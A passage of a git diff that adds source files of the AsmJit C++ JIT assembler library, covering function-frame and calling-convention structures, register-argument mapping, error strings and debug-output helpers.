const noexcept { return (_value & kRegIdMask) >> kRegIdShift; } + //! Get a stack offset of this argument (always positive). + ASMJIT_INLINE int32_t getStackOffset() const noexcept { return (_value & kStackOffsetMask) >> kStackOffsetShift; } + + uint32_t _value; + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE FuncDetail() noexcept { reset(); } + ASMJIT_INLINE FuncDetail(const FuncDetail& other) noexcept { + ::memcpy(this, &other, sizeof(*this)); + } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + //! Initialize this `FuncDetail` to the given signature. + ASMJIT_API Error init(const FuncSignature& sign); + ASMJIT_INLINE void reset() noexcept { ::memset(this, 0, sizeof(*this)); } + + // -------------------------------------------------------------------------- + // [Accessors - Calling Convention] + // -------------------------------------------------------------------------- + + //! Get the function's calling convention, see `CallConv`. + ASMJIT_INLINE const CallConv& getCallConv() const noexcept { return _callConv; } + + //! Get CallConv flags, see \ref CallConv::Flags. + ASMJIT_INLINE uint32_t getFlags() const noexcept { return _callConv.getFlags(); } + //! Check if a CallConv `flag` is set, see \ref CallConv::Flags. + ASMJIT_INLINE bool hasFlag(uint32_t ccFlag) const noexcept { return _callConv.hasFlag(ccFlag); } + + // -------------------------------------------------------------------------- + // [Accessors - Arguments and Return] + // -------------------------------------------------------------------------- + + //! Get count of function return values. + ASMJIT_INLINE uint32_t getRetCount() const noexcept { return _retCount; } + //! Get the number of function arguments. + ASMJIT_INLINE uint32_t getArgCount() const noexcept { return _argCount; } + + //! Get whether the function has a return value. + ASMJIT_INLINE bool hasRet() const noexcept { return _retCount != 0; } + //! Get function return value. + ASMJIT_INLINE Value& getRet(size_t index = 0) noexcept { + ASMJIT_ASSERT(index < ASMJIT_ARRAY_SIZE(_rets)); + return _rets[index]; + } + //! Get function return value (const). + ASMJIT_INLINE const Value& getRet(size_t index = 0) const noexcept { + ASMJIT_ASSERT(index < ASMJIT_ARRAY_SIZE(_rets)); + return _rets[index]; + } + + //! Get function arguments array. + ASMJIT_INLINE Value* getArgs() noexcept { return _args; } + //! Get function arguments array (const). + ASMJIT_INLINE const Value* getArgs() const noexcept { return _args; } + + ASMJIT_INLINE bool hasArg(size_t index) const noexcept { + ASMJIT_ASSERT(index < kFuncArgCountLoHi); + return _args[index].isInitialized(); + } + + //! Get function argument at index `index`. + ASMJIT_INLINE Value& getArg(size_t index) noexcept { + ASMJIT_ASSERT(index < kFuncArgCountLoHi); + return _args[index]; + } + + //! Get function argument at index `index`. + ASMJIT_INLINE const Value& getArg(size_t index) const noexcept { + ASMJIT_ASSERT(index < kFuncArgCountLoHi); + return _args[index]; + } + + ASMJIT_INLINE void resetArg(size_t index) noexcept { + ASMJIT_ASSERT(index < kFuncArgCountLoHi); + _args[index].reset(); + } + + //! Get if the function passes one or more argument by stack. + ASMJIT_INLINE bool hasStackArgs() const noexcept { return _argStackSize != 0; } + //! Get stack size needed for function arguments passed on the stack. + ASMJIT_INLINE uint32_t getArgStackSize() const noexcept { return _argStackSize; } + + ASMJIT_INLINE uint32_t getNaturalStackAlignment() const noexcept { return _callConv.getNaturalStackAlignment(); } + ASMJIT_INLINE uint32_t getSpillZoneSize() const noexcept { return _callConv.getSpillZoneSize(); } + ASMJIT_INLINE uint32_t getRedZoneSize() const noexcept { return _callConv.getRedZoneSize(); } + + ASMJIT_INLINE uint32_t getPassedRegs(uint32_t kind) const noexcept { return _callConv.getPassedRegs(kind); } + ASMJIT_INLINE uint32_t getPreservedRegs(uint32_t kind) const noexcept { return _callConv.getPreservedRegs(kind); } + + ASMJIT_INLINE uint32_t getUsedRegs(uint32_t kind) const noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + return _usedRegs[kind]; + } + + ASMJIT_INLINE void addUsedRegs(uint32_t kind, uint32_t regs) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + _usedRegs[kind] |= regs; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CallConv _callConv; //!< Calling convention. + uint8_t _argCount; //!< Number of function arguments. + uint8_t _retCount; //!< Number of function return values. + uint32_t _usedRegs[kMaxVRegKinds]; //!< Registers that contains arguments (signature dependent). + uint32_t _argStackSize; //!< Size of arguments passed by stack. + Value _rets[2]; //!< Function return values. + Value _args[kFuncArgCountLoHi]; //!< Function arguments. +}; + +// ============================================================================ +// [asmjit::FuncFrameInfo] +// ============================================================================ + +//! Function-frame information. +//! +//! This structure can be used to create a function frame in a cross-platform +//! way. It contains information about the function's stack to be used and +//! registers to be saved and restored. Based on this information in can +//! calculate the optimal layout of a function as \ref FuncFrameLayout. +struct FuncFrameInfo { + ASMJIT_ENUM(Limits) { + kMaxVRegKinds = Globals::kMaxVRegKinds + }; + + //! Attributes. + //! + //! Attributes are designed in a way that all are initially false, and user + //! or function-frame finalizer sets them when necessary. Architecture-specific + //! attributes are prefixed with the architecture name. + ASMJIT_ENUM(Attributes) { + kAttrPreserveFP = 0x00000001U, //!< Preserve frame pointer (EBP|RBP). + kAttrCompactPE = 0x00000002U, //!< Use smaller, but possibly slower prolog/epilog. + kAttrHasCalls = 0x00000004U, //!< Function calls other functions (is not leaf). + + kX86AttrAlignedVecSR = 0x00010000U, //!< Use aligned save/restore of VEC regs. + kX86AttrMmxCleanup = 0x00020000U, //!< Emit EMMS instruction in epilog (X86). + kX86AttrAvxCleanup = 0x00040000U, //!< Emit VZEROUPPER instruction in epilog (X86). + kX86AttrAvxEnabled = 0x00080000U //!< Use AVX instead of SSE for all operations (X86). + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE FuncFrameInfo() noexcept { reset(); } + + ASMJIT_INLINE FuncFrameInfo(const FuncFrameInfo& other) noexcept { + ::memcpy(this, &other, sizeof(*this)); + } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void reset() noexcept { + ::memset(this, 0, sizeof(*this)); + _stackArgsRegId = Globals::kInvalidRegId; + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get frame-info flags, see \ref Attributes. + ASMJIT_INLINE uint32_t getAttributes() const noexcept { return _attributes; } + //! Check if a frame-info `flag` is set, see \ref Attributes. + ASMJIT_INLINE bool hasAttribute(uint32_t attr) const noexcept { return (_attributes & attr) != 0; } + //! Add `flags` to the frame-info, see \ref Attributes. + ASMJIT_INLINE void addAttributes(uint32_t attrs) noexcept { _attributes |= attrs; } + //! Clear `flags` from the frame-info, see \ref Attributes. + ASMJIT_INLINE void clearAttributes(uint32_t attrs) noexcept { _attributes &= ~attrs; } + + //! Get if the function preserves frame pointer (EBP|ESP on X86). + ASMJIT_INLINE bool hasPreservedFP() const noexcept { return (_attributes & kAttrPreserveFP) != 0; } + //! Enable preserved frame pointer. + ASMJIT_INLINE void enablePreservedFP() noexcept { _attributes |= kAttrPreserveFP; } + //! Disable preserved frame pointer. + ASMJIT_INLINE void disablePreservedFP() noexcept { _attributes &= ~kAttrPreserveFP; } + + //! Get if the function prolog and epilog should be compacted (as small as possible). + ASMJIT_INLINE bool hasCompactPE() const noexcept { return (_attributes & kAttrCompactPE) != 0; } + //! Enable compact prolog/epilog. + ASMJIT_INLINE void enableCompactPE() noexcept { _attributes |= kAttrCompactPE; } + //! Disable compact prolog/epilog. + ASMJIT_INLINE void disableCompactPE() noexcept { _attributes &= ~kAttrCompactPE; } + + //! Get if the function calls other functions. + ASMJIT_INLINE bool hasCalls() const noexcept { return (_attributes & kAttrHasCalls) != 0; } + //! Set `kFlagHasCalls` to true. + ASMJIT_INLINE void enableCalls() noexcept { _attributes |= kAttrHasCalls; } + //! Set `kFlagHasCalls` to false. + ASMJIT_INLINE void disableCalls() noexcept { _attributes &= ~kAttrHasCalls; } + + //! Get if the function contains MMX cleanup - 'emms' instruction in epilog. + ASMJIT_INLINE bool hasMmxCleanup() const noexcept { return (_attributes & kX86AttrMmxCleanup) != 0; } + //! Enable MMX cleanup. + ASMJIT_INLINE void enableMmxCleanup() noexcept { _attributes |= kX86AttrMmxCleanup; } + //! Disable MMX cleanup. + ASMJIT_INLINE void disableMmxCleanup() noexcept { _attributes &= ~kX86AttrMmxCleanup; } + + //! Get if the function contains AVX cleanup - 'vzeroupper' instruction in epilog. + ASMJIT_INLINE bool hasAvxCleanup() const noexcept { return (_attributes & kX86AttrAvxCleanup) != 0; } + //! Enable AVX cleanup. + ASMJIT_INLINE void enableAvxCleanup() noexcept { _attributes |= kX86AttrAvxCleanup; } + //! Disable AVX cleanup. + ASMJIT_INLINE void disableAvxCleanup() noexcept { _attributes &= ~kX86AttrAvxCleanup; } + + //! Get if the function contains AVX cleanup - 'vzeroupper' instruction in epilog. + ASMJIT_INLINE bool isAvxEnabled() const noexcept { return (_attributes & kX86AttrAvxEnabled) != 0; } + //! Enable AVX cleanup. + ASMJIT_INLINE void enableAvx() noexcept { _attributes |= kX86AttrAvxEnabled; } + //! Disable AVX cleanup. + ASMJIT_INLINE void disableAvx() noexcept { _attributes &= ~kX86AttrAvxEnabled; } + + //! Get which registers (by `kind`) are saved/restored in prolog/epilog, respectively. + ASMJIT_INLINE uint32_t getDirtyRegs(uint32_t kind) const noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + return _dirtyRegs[kind]; + } + + //! Set which registers (by `kind`) are saved/restored in prolog/epilog, respectively. + ASMJIT_INLINE void setDirtyRegs(uint32_t kind, uint32_t regs) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + _dirtyRegs[kind] = regs; + } + + //! Add registers (by `kind`) to saved/restored registers. + ASMJIT_INLINE void addDirtyRegs(uint32_t kind, uint32_t regs) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + _dirtyRegs[kind] |= regs; + } + + ASMJIT_INLINE void setAllDirty() noexcept { + _dirtyRegs[0] = 0xFFFFFFFFU; + _dirtyRegs[1] = 0xFFFFFFFFU; + _dirtyRegs[2] = 0xFFFFFFFFU; + _dirtyRegs[3] = 0xFFFFFFFFU; + } + + ASMJIT_INLINE void setAllDirty(uint32_t kind) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + _dirtyRegs[kind] = 0xFFFFFFFFU; + } + + //! Get stack-frame size used by the function. + ASMJIT_INLINE uint32_t getStackFrameSize() const noexcept { return _stackFrameSize; } + //! Get call-frame size used by the function. + ASMJIT_INLINE uint32_t getCallFrameSize() const noexcept { return _callFrameSize; } + + //! Get minimum stack-frame alignment required by the function. + ASMJIT_INLINE uint32_t getStackFrameAlignment() const noexcept { return _stackFrameAlignment; } + //! Get minimum call-frame alignment required by the function. + ASMJIT_INLINE uint32_t getCallFrameAlignment() const noexcept { return _callFrameAlignment; } + + ASMJIT_INLINE void setStackFrameSize(uint32_t size) noexcept { _stackFrameSize = size; } + ASMJIT_INLINE void setCallFrameSize(uint32_t size) noexcept { _callFrameSize = size; } + + ASMJIT_INLINE void setStackFrameAlignment(uint32_t value) noexcept { + ASMJIT_ASSERT(value < 256); + _stackFrameAlignment = static_cast(value); + } + + ASMJIT_INLINE void setCallFrameAlignment(uint32_t value) noexcept { + ASMJIT_ASSERT(value < 256); + _callFrameAlignment = static_cast(value); + } + + ASMJIT_INLINE void mergeStackFrameSize(uint32_t size) noexcept { _stackFrameSize = std::max(_stackFrameSize, size); } + ASMJIT_INLINE void mergeCallFrameSize(uint32_t size) noexcept { _callFrameSize = std::max(_callFrameSize, size); } + + ASMJIT_INLINE void mergeStackFrameAlignment(uint32_t value) noexcept { + ASMJIT_ASSERT(value < 256); + _stackFrameAlignment = static_cast(std::max(_stackFrameAlignment, value)); + } + + ASMJIT_INLINE void mergeCallFrameAlignment(uint32_t value) noexcept { + ASMJIT_ASSERT(value < 256); + _callFrameAlignment = static_cast(std::max(_callFrameAlignment, value)); + } + + ASMJIT_INLINE bool hasStackArgsRegId() const noexcept { + return _stackArgsRegId != Globals::kInvalidRegId; + } + ASMJIT_INLINE uint32_t getStackArgsRegId() const noexcept { return _stackArgsRegId; } + ASMJIT_INLINE void setStackArgsRegId(uint32_t regId) { _stackArgsRegId = regId; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint32_t _attributes; //!< Function attributes. + uint32_t _dirtyRegs[kMaxVRegKinds]; //!< Registers used by the function. + + uint8_t _stackFrameAlignment; //!< Minimum alignment of stack-frame. + uint8_t _callFrameAlignment; //!< Minimum alignment of call-frame. + uint8_t _stackArgsRegId; //!< Register that holds base-address to arguments passed by stack. + + uint32_t _stackFrameSize; //!< Size of a stack-frame used by the function. + uint32_t _callFrameSize; //!< Size of a call-frame (not part of _stackFrameSize). +}; + +// ============================================================================ +// [asmjit::FuncFrameLayout] +// ============================================================================ + +//! Function-frame layout. +//! +//! Function layout is used directly by prolog and epilog insertion helpers. It +//! contains only information necessary to insert proper prolog and epilog, and +//! should be always calculated from \ref FuncDetail and \ref FuncFrameInfo, where +//! \ref FuncDetail defines function's calling convention and signature, and \ref +//! FuncFrameInfo specifies how much stack is used, and which registers are dirty. +struct FuncFrameLayout { + ASMJIT_ENUM(Limits) { + kMaxVRegKinds = Globals::kMaxVRegKinds + }; + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_API Error init(const FuncDetail& func, const FuncFrameInfo& ffi) noexcept; + ASMJIT_INLINE void reset() noexcept { ::memset(this, 0, sizeof(*this)); } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool hasPreservedFP() const noexcept { return static_cast(_preservedFP); } + ASMJIT_INLINE bool hasDsaSlotUsed() const noexcept { return static_cast(_dsaSlotUsed); } + ASMJIT_INLINE bool hasAlignedVecSR() const noexcept { return static_cast(_alignedVecSR); } + ASMJIT_INLINE bool hasDynamicAlignment() const noexcept { return static_cast(_dynamicAlignment); } + + ASMJIT_INLINE bool hasMmxCleanup() const noexcept { return static_cast(_mmxCleanup); } + ASMJIT_INLINE bool hasAvxCleanup() const noexcept { return static_cast(_avxCleanup); } + ASMJIT_INLINE bool isAvxEnabled() const noexcept { return static_cast(_avxEnabled); } + + ASMJIT_INLINE uint32_t getSavedRegs(uint32_t kind) const noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + return _savedRegs[kind]; + } + + //! Get stack size. + ASMJIT_INLINE uint32_t getStackSize() const noexcept { return _stackSize; } + //! Get stack alignment. + ASMJIT_INLINE uint32_t getStackAlignment() const noexcept { return _stackAlignment; } + //! Get the offset needed to access the function's stack (it skips call-stack). + ASMJIT_INLINE uint32_t getStackBaseOffset() const noexcept { return _stackBaseOffset; } + + //! Get stack size required to save GP registers. + ASMJIT_INLINE uint32_t getGpStackSize() const noexcept { return _gpStackSize; } + //! Get stack size required to save VEC registers. + ASMJIT_INLINE uint32_t getVecStackSize() const noexcept { return _vecStackSize; } + + ASMJIT_INLINE uint32_t getGpStackOffset() const noexcept { return _gpStackOffset; } + ASMJIT_INLINE uint32_t getVecStackOffset() const noexcept { return _vecStackOffset; } + + ASMJIT_INLINE uint32_t getStackArgsRegId() const noexcept { return _stackArgsRegId; } + ASMJIT_INLINE uint32_t getStackArgsOffset() const noexcept { return _stackArgsOffset; } + + ASMJIT_INLINE bool hasStackAdjustment() const noexcept { return _stackAdjustment != 0; } + ASMJIT_INLINE uint32_t getStackAdjustment() const noexcept { return _stackAdjustment; } + + ASMJIT_INLINE bool hasCalleeStackCleanup() const noexcept { return _calleeStackCleanup != 0; } + ASMJIT_INLINE uint32_t getCalleeStackCleanup() const noexcept { return _calleeStackCleanup; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint8_t _stackAlignment; //!< Final stack alignment of the functions. + uint8_t _stackBaseRegId; //!< GP register that holds address of base stack address. + uint8_t _stackArgsRegId; //!< GP register that holds address of the first argument passed by stack. + + uint32_t _savedRegs[kMaxVRegKinds]; //!< Registers that will be saved/restored in prolog/epilog. + + uint32_t _preservedFP : 1; //!< Function preserves frame-pointer. + uint32_t _dsaSlotUsed : 1; //!< True if `_dsaSlot` contains a valid memory slot/offset. + uint32_t _alignedVecSR : 1; //!< Use instructions that perform aligned ops to save/restore XMM regs. + uint32_t _dynamicAlignment : 1; //!< Function must dynamically align the stack. + + uint32_t _mmxCleanup : 1; //!< Emit 'emms' in epilog (X86). + uint32_t _avxCleanup : 1; //!< Emit 'vzeroupper' in epilog (X86). + uint32_t _avxEnabled : 1; //!< Use AVX instead of SSE for SIMD saves/restores (X86). + + uint32_t _stackSize; //!< Stack size (sum of function's stack and call stack). + uint32_t _stackBaseOffset; //!< Stack offset (non-zero if kFlagHasCalls is set). + uint32_t _stackAdjustment; //!< Stack adjustment in prolog/epilog. + uint32_t _stackArgsOffset; //!< Offset to the first argument passed by stack of _stackArgsRegId. + + uint32_t _dsaSlot; //!< Memory slot where the prolog inserter stores previous (unaligned) ESP. + uint16_t _calleeStackCleanup; //!< How many bytes the callee should add to the stack (X86 STDCALL). + uint16_t _gpStackSize; //!< Stack size required to save GP regs. + uint16_t _vecStackSize; //!< Stack size required to save VEC regs. + uint32_t _gpStackOffset; //!< Offset where saved GP regs are stored. + uint32_t _vecStackOffset; //!< Offset where saved GP regs are stored. +}; + +// ============================================================================ +// [asmjit::FuncArgsMapper] +// ============================================================================ + +//! Assign a physical register to each function argument. +//! +//! This is used to specify where each function argument should be shuffled +//! or allocated (in case it's passed by stack). +class FuncArgsMapper { +public: + struct Value { + // NOTE: The layout is compatible with FuncDetail::Value except stack. + ASMJIT_ENUM(Parts) { + kTypeIdShift = 24, + kTypeIdMask = 0xFF000000U, + + kRegTypeShift = 8, + kRegTypeMask = 0x0000FF00U, + + kRegIdShift = 0, + kRegIdMask = 0x000000FFU, + + kIsAssigned = 0x00010000U + }; + + //! Get if this value is initialized (i.e. contains a valid data). + ASMJIT_INLINE bool isAssigned() const noexcept { return _value != 0; } + //! Initialize this in/out by a given `typeId`, `regType`, and `regId`. + ASMJIT_INLINE void assign(uint32_t typeId, uint32_t regType, uint32_t regId) noexcept { + _value = (typeId << kTypeIdShift) | (regType << kRegTypeShift) | (regId << kRegIdShift) | kIsAssigned; + } + //! Reset the value to its unassigned state. + ASMJIT_INLINE void reset() noexcept { _value = 0; } + + //! Get virtual type of this argument or return value. + ASMJIT_INLINE uint32_t getTypeId() const noexcept { return _value >> kTypeIdShift; } + //! Get a register type of the register used to pass the argument or return the value. + ASMJIT_INLINE uint32_t getRegType() const noexcept { return (_value & kRegTypeMask) >> kRegTypeShift; } + //! Get a physical id of the register used to pass the argument or return the value. + ASMJIT_INLINE uint32_t getRegId() const noexcept { return (_value & kRegIdMask) >> kRegIdShift; } + + uint32_t _value; + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + explicit ASMJIT_INLINE FuncArgsMapper(const FuncDetail* fd) noexcept { reset(fd); } + ASMJIT_INLINE FuncArgsMapper(const FuncArgsMapper& other) noexcept { + ::memcpy(this, &other, sizeof(*this)); + } + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void reset(const FuncDetail* fd = nullptr) noexcept { + _funcDetail = fd; + ::memset(_args, 0, sizeof(_args)); + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE const FuncDetail* getFuncDetail() const noexcept { return _funcDetail; } + ASMJIT_INLINE void setFuncDetail(const FuncDetail* fd) noexcept { _funcDetail = fd; } + + ASMJIT_INLINE Value& getArg(size_t index) noexcept { + ASMJIT_ASSERT(index < ASMJIT_ARRAY_SIZE(_args)); + return _args[index]; + } + ASMJIT_INLINE const Value& getArg(size_t index) const noexcept { + ASMJIT_ASSERT(index < ASMJIT_ARRAY_SIZE(_args)); + return _args[index]; + } + + ASMJIT_INLINE bool isAssigned(size_t index) const noexcept { + ASMJIT_ASSERT(index < ASMJIT_ARRAY_SIZE(_args)); + return _args[index].isAssigned(); + } + + ASMJIT_INLINE void assign(size_t index, const Reg& reg, uint32_t typeId = TypeId::kVoid) noexcept { + // Not designed for virtual registers. + ASMJIT_ASSERT(index < ASMJIT_ARRAY_SIZE(_args)); + ASMJIT_ASSERT(reg.isPhysReg()); + + _args[index].assign(typeId, reg.getType(), reg.getId()); + } + + // NOTE: All `assignAll()` methods are shortcuts to assign all arguments at + // once, however, since registers are passed all at once these initializers + // don't provide any way to pass TypeId and/or to keep any argument between + // the arguments passed uninitialized. + ASMJIT_INLINE void assignAll(const Reg& a0) noexcept { + assign(0, a0); + } + ASMJIT_INLINE void assignAll(const Reg& a0, const Reg& a1) noexcept { + assign(0, a0); assign(1, a1); + } + ASMJIT_INLINE void assignAll(const Reg& a0, const Reg& a1, const Reg& a2) noexcept { + assign(0, a0); assign(1, a1); assign(2, a2); + } + ASMJIT_INLINE void assignAll(const Reg& a0, const Reg& a1, const Reg& a2, const Reg& a3) noexcept { + assign(0, a0); assign(1, a1); assign(2, a2); assign(3, a3); + } + ASMJIT_INLINE void assignAll(const Reg& a0, const Reg& a1, const Reg& a2, const Reg& a3, const Reg& a4) noexcept { + assign(0, a0); assign(1, a1); assign(2, a2); assign(3, a3); + assign(4, a4); + } + ASMJIT_INLINE void assignAll(const Reg& a0, const Reg& a1, const Reg& a2, const Reg& a3, const Reg& a4, const Reg& a5) noexcept { + assign(0, a0); assign(1, a1); assign(2, a2); assign(3, a3); + assign(4, a4); assign(5, a5); + } + ASMJIT_INLINE void assignAll(const Reg& a0, const Reg& a1, const Reg& a2, const Reg& a3, const Reg& a4, const Reg& a5, const Reg& a6) noexcept { + assign(0, a0); assign(1, a1); assign(2, a2); assign(3, a3); + assign(4, a4); assign(5, a5); assign(6, a6); + } + ASMJIT_INLINE void assignAll(const Reg& a0, const Reg& a1, const Reg& a2, const Reg& a3, const Reg& a4, const Reg& a5, const Reg& a6, const Reg& a7) noexcept { + assign(0, a0); assign(1, a1); assign(2, a2); assign(3, a3); + assign(4, a4); assign(5, a5); assign(6, a6); assign(7, a7); + } + + // -------------------------------------------------------------------------- + // [Utilities] + // -------------------------------------------------------------------------- + + //! Update `FuncFrameInfo` accordingly to FuncArgsMapper. + //! + //! This method must be called if you use `FuncArgsMapper` and you plan to + //! use `FuncUtils::allocArgs()` to remap all arguments after the prolog is + //! inserted. + ASMJIT_API Error updateFrameInfo(FuncFrameInfo& ffi) const noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + const FuncDetail* _funcDetail; //!< Function detail. + Value _args[kFuncArgCountLoHi]; //!< Mapping of each function argument. +}; + +// ============================================================================ +// [asmjit::FuncUtils] +// ============================================================================ + +struct FuncUtils { + ASMJIT_API static Error emitProlog(CodeEmitter* emitter, const FuncFrameLayout& layout); + ASMJIT_API static Error emitEpilog(CodeEmitter* emitter, const FuncFrameLayout& layout); + ASMJIT_API static Error allocArgs(CodeEmitter* emitter, const FuncFrameLayout& layout, const FuncArgsMapper& args); +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_FUNC_H diff --git a/asmjit/src/asmjit/base/globals.cpp b/asmjit/src/asmjit/base/globals.cpp new file mode 100644 index 0000000..b4612e5 --- /dev/null +++ b/asmjit/src/asmjit/base/globals.cpp @@ -0,0 +1,118 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/globals.h" +#include "../base/utils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::DebugUtils] +// ============================================================================ + +#if !defined(ASMJIT_DISABLE_TEXT) +static const char errorMessages[] = + "Ok\0" + "No heap memory\0" + "No virtual memory\0" + "Invalid argument\0" + "Invalid state\0" + "Invalid architecture\0" + "Not initialized\0" + "Already initialized\0" + "Feature not enabled\0" + "Slot occupied\0" + "No code generated\0" + "Code too large\0" + "Invalid label\0" + "Label index overflow\0" + "Label already bound\0" + "Label already defined\0" + "Label name too long\0" + "Invalid label name\0" + "Invalid parent label\0" + "Non-local label can't have parent\0" + "Relocation index overflow\0" + "Invalid relocation entry\0" + "Invalid instruction\0" + "Invalid register type\0" + "Invalid register kind\0" + "Invalid register's physical id\0" + "Invalid register's virtual id\0" + "Invalid prefix combination\0" + "Invalid lock prefix\0" + "Invalid xacquire prefix\0" + "Invalid xrelease prefix\0" + "Invalid rep prefix\0" + "Invalid rex prefix\0" + "Invalid mask, expected {k}\0" + "Invalid use of {k}\0" + "Invalid use of {k}{z}\0" + "Invalid broadcast {1tox}\0" + "Invalid {er} or {sae} option\0" + "Invalid address\0" + "Invalid address index\0" + "Invalid address scale\0" + "Invalid use of 64-bit address\0" + "Invalid displacement\0" + "Invalid segment\0" + "Invalid immediate value\0" + "Invalid operand size\0" + "Ambiguous operand size\0" + "Operand size mismatch\0" + "Invalid type-info\0" + "Invalid use of a low 8-bit GPB register\0" + "Invalid use of a 64-bit GPQ register in 32-bit mode\0" + "Invalid use of an 80-bit float\0" + "Not consecutive registers\0" + "No more physical registers\0" + "Overlapped registers\0" + "Overlapping register and arguments base-address register\0" + "Unknown error\0"; +#endif // ASMJIT_DISABLE_TEXT + +ASMJIT_FAVOR_SIZE const char* DebugUtils::errorAsString(Error err) noexcept { +#if !defined(ASMJIT_DISABLE_TEXT) + return Utils::findPackedString(errorMessages, std::min(err, kErrorCount)); +#else + static const char noMessage[] = ""; + return noMessage; +#endif +} + +ASMJIT_FAVOR_SIZE void DebugUtils::debugOutput(const char* str) noexcept { +#if ASMJIT_OS_WINDOWS + ::OutputDebugStringA(str); +#else + ::fputs(str, stderr); +#endif +} + +ASMJIT_FAVOR_SIZE void DebugUtils::assertionFailed(const char* file, int line, const char* msg) noexcept { + char str[1024]; + + snprintf(str, 1024, + "[asmjit] Assertion failed at %s (line %d):\n" + "[asmjit] %s\n", file, line, msg); + + // Support buggy `snprintf` implementations. + str[1023] = '\0'; + + debugOutput(str); + ::abort(); +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/globals.h b/asmjit/src/asmjit/base/globals.h new file mode 100644 index 0000000..74c7251 --- /dev/null +++ b/asmjit/src/asmjit/base/globals.h @@ -0,0 +1,341 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_GLOBALS_H +#define _ASMJIT_BASE_GLOBALS_H + +// [Dependencies] +#include "../asmjit_build.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::Globals] +// ============================================================================ + +enum { kInvalidValue = 0xFFFFFFFFU }; + +//! AsmJit globals. +namespace Globals { + +//! Invalid index +//! +//! Invalid index is the last possible index that is never used in practice. In +//! AsmJit it is used exclusively with strings to indicate the the length of the +//! string is not known and has to be determined. +static const size_t kInvalidIndex = ~static_cast(0); + +//! Invalid base address. +static const uint64_t kNoBaseAddress = ~static_cast(0); + +//! Global definitions. +ASMJIT_ENUM(Defs) { + //! Invalid register id. + kInvalidRegId = 0xFF, + + //! Host memory allocator overhead. + kAllocOverhead = static_cast(sizeof(intptr_t) * 4), + //! Aggressive growing strategy threshold. + kAllocThreshold = 8192 * 1024 +}; + +ASMJIT_ENUM(Limits) { + //! Count of register kinds that are important to Function API and CodeCompiler. + //! The target architecture can define more register kinds for special registers, + //! but these will never map to virtual registers and will never be used to pass + //! and return function arguments and function return values, respectively. + kMaxVRegKinds = 4, + + //! Maximum number of physical registers of all kinds of all supported + //! architectures. This is only important for \ref CodeCompiler and its + //! \ref RAPass (register allocator pass). + //! + //! NOTE: The distribution of these registers is architecture specific. + kMaxPhysRegs = 64, + + //! Maximum alignment. + kMaxAlignment = 64, + + //! Maximum label or symbol length in bytes (take into consideration that a + //! single UTF-8 character can take more than single byte to encode it). + kMaxLabelLength = 2048 +}; + +} // Globals namespace + +// ============================================================================ +// [asmjit::Error] +// ============================================================================ + +//! AsmJit error type (uint32_t). +typedef uint32_t Error; + +//! AsmJit error codes. +ASMJIT_ENUM(ErrorCode) { + //! No error (success). + //! + //! This is default state and state you want. + kErrorOk = 0, + + //! Heap memory allocation failed. + kErrorNoHeapMemory, + + //! Virtual memory allocation failed. + kErrorNoVirtualMemory, + + //! Invalid argument. + kErrorInvalidArgument, + + //! Invalid state. + //! + //! If this error is returned it means that either you are doing something + //! wrong or AsmJit caught itself by doing something wrong. This error should + //! not be underestimated. + kErrorInvalidState, + + //! Invalid or incompatible architecture. + kErrorInvalidArch, + + //! The object is not initialized. + kErrorNotInitialized, + //! The object is already initialized. + kErrorAlreadyInitialized, + + //! Built-in feature was disabled at compile time and it's not available. + kErrorFeatureNotEnabled, + + //! CodeHolder can't have attached more than one \ref Assembler at a time. + kErrorSlotOccupied, + + //! No code generated. + //! + //! Returned by runtime if the \ref CodeHolder contains no code. + kErrorNoCodeGenerated, + //! Code generated is larger than allowed. + kErrorCodeTooLarge, + + //! Attempt to use uninitialized label. + kErrorInvalidLabel, + //! Label index overflow - a single `Assembler` instance can hold more than + //! 2 billion labels (2147483391 to be exact). If there is an attempt to + //! create more labels this error is returned. + kErrorLabelIndexOverflow, + //! Label is already bound. + kErrorLabelAlreadyBound, + //! Label is already defined (named labels). + kErrorLabelAlreadyDefined, + //! Label name is too long. + 